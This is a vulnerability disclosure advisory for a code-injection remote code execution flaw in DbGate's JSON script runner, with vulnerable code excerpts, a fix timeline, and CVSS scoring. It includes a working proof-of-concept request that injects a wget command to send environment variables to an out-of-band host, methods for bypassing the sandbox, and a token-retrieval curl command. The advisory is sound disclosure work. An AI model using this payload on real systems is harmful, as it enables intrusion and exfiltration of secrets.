CVE-2026-47668: DbGate: Unauthenticated Remote Code Execution via JSON Script Runner

Summary DbGate's JSON script runner (POST /runners/start) allows remote code execution via code injection in the functionName parameter of JSON script assign commands. The functionName value is interpolated directly into dynamically generated JavaScript source code via string concatenation. The generated code is then executed in a forked Node.js child process.

Details Step 1: User Input Entry Point

File: packages/api/src/controllers/runners.js - start() method

The /runners/start endpoint accepts a POST body containing a script object. When script.type == 'json', the request follows a different code path than raw shell scripts:

javascript async start({ script }, req) { if (script.type == 'json') { if (!platformInfo.isElectron) { if (!checkSecureDirectoriesInScript(script)) { return { errorMessage: 'Unallowed directories in script' }; } } logJsonRunnerScript(req, script); const js = await jsonScriptToJavascript(script); return this.startCore(runid, scriptTemplate(js, false)); } This path skips: 1. The run-shell-script permission check 2. The allowShellScripting platform-level check

The only validation performed is checkSecureDirectoriesInScript(), which props.fileName values

---

Step 2: JSON-to-JavaScript Conversion (Injection Point)

File: packages/tools/src/ScriptWriter.ts - assignCore() method

The JSON script's commands array contains objects with type: "assign". The assignCore method generates JavaScript by direct string concatenation of user-controlled values:

typescript assignCore(variableName, functionName, props) { this.put(const ${variableName} = await ${functionName}(${JSON.stringify(props)});); }

Both variableName and functionName are attacker-controlled values taken directly from the JSON request body and interpolated into the generated JavaScript source code.

---

Step 3: Function Name Compilation

File: packages/tools/src/packageTools.ts - compileShellApiFunctionName()

Before interpolation, functionName passes through this function:

typescript export function compileShellApiFunctionName(functionName) { const nsMatch = functionName.match(/^([^@]+)@([^@]+)/); if (nsMatch) { return ${camelCase(nsMatch[2])}.shellApi.${nsMatch[1]}; } return dbgateApi.${functionName}; }

An attacker supplying functionName: "x;MALICIOUSCODE;//" gets: dbgateApi.x;MALICIOUSCODE;//

This is syntactically valid JavaScript: dbgateApi.x evaluates (and is discarded), MALICIOUSCODE executes, and // comments out the trailing (${JSON.stringify(props)});.

---

Step 4: Generated JavaScript Template

The complete generated script that gets executed:

javascript const dbgateApi = require(process.env.DBGATEAPI); require = null; async function run() { const x = await dbgateApi.x;process.mainModule.require('childprocess').execSync('wget <attacker host>');//({}); await dbgateApi.finalizer.run(); } dbgateApi.runScript(run);

Step 5: Execution via childprocess.fork()

File: packages/api/src/controllers/runners.js - startCore() method

The generated JavaScript string is written to a temporary file and executed as a new Node.js process via childprocess.fork(). This provides the attacker with a full Node.js runtime, including access to process, childprocess, fs, net, and all other Node.js built-in modules.

The require = null sandbox can be bypassed via: - process.mainModule.require() - separate reference unaffected by the null assignment - module.constructor.load() - internal module loader, also unaffected ---

Additional Injection Points

The same unsanitised string interpolation pattern exists in:

| Endpoint | Parameter | File | |----------|-----------|------| | POST /runners/start | functionName in assign commands | ScriptWriter.ts - assignCore() | | POST /runners/start | variableName in assign commands | ScriptWriter.ts - assignCore() | | POST /runners/load-reader | functionName parameter | ScriptWriter.ts - loaderScriptTemplate |

PoC http POST /runners/start HTTP/1.1 Host: <dbgate-instance>:3000 Authorization: Bearer <token> Content-Type: application/json

{ "script": { "type": "json", "commands": [ { "type": "assign", "variableName": "x", "functionName": "x;process.mainModule.require('childprocess').execSync('wget --post-data \"$(env 2>1&)\" <out of band host>');//", "props": {} } ], "packageNames": [] } }

The request to the out of band host was as follows:

http POST / HTTP/1.1 Host: <out of band host> User-Agent: Wget/1.21.3 Accept: / Accept-Encoding: identity Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Content-Length: 251

NODEVERSION=22.22.2 HOSTNAME=4714c7a7405f YARNVERSION=1.22.22 HOME=/root TERM=xterm PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin DBGATEAPI=/home/dbgate-docker/bundle.js PWD=/root/.dbgate/run/16c2e85a-8512-4a7e-8678-391637bbdc2c

---

A bearer token is required to reach the endpoint, but in what appears to be the default deployment, authentication is disabled. Authentication needs to be explicitly set via environment variables. If this has not been explicitly set, per the defaults, a token can be retrieved using:

bash curl -sk -H "Content-Type: application/json" -d '{"amoid":"none"}' <dbgate-instance>:3000/auth/login

Impact

| Scenario | Impact | CVSS Score | CVSS Vector | |----------|--------|--------|--------| | Anonymous auth mode (default deployment) (authProvider: "Anonymous") | Unauthenticated RCE | 10.0 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H | | Authenticated deployment | Authenticated RCE - any user with API access | 9.9 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |

Timeline

| Date | Event | |------|-------| | 2026-03-31 | Vulnerability discovered | | 2026-04-07 | Advisory report prepared and submitted to maintainer | | 2026-04-22 | Fix released (v7.1.9) | | 2026-04-24 | Maintainer acknowledgment | | 2026-05-20 | Public disclosure |

Acknowledgements

- Discovery assisted by Neo from @ProjectDiscovery - Initial research direction inspired by @H0j3n — https://github.com/runZeroInc/nuclei-templates/blob/main/http/vulnerabilities/dbgate-unauth-rce.yaml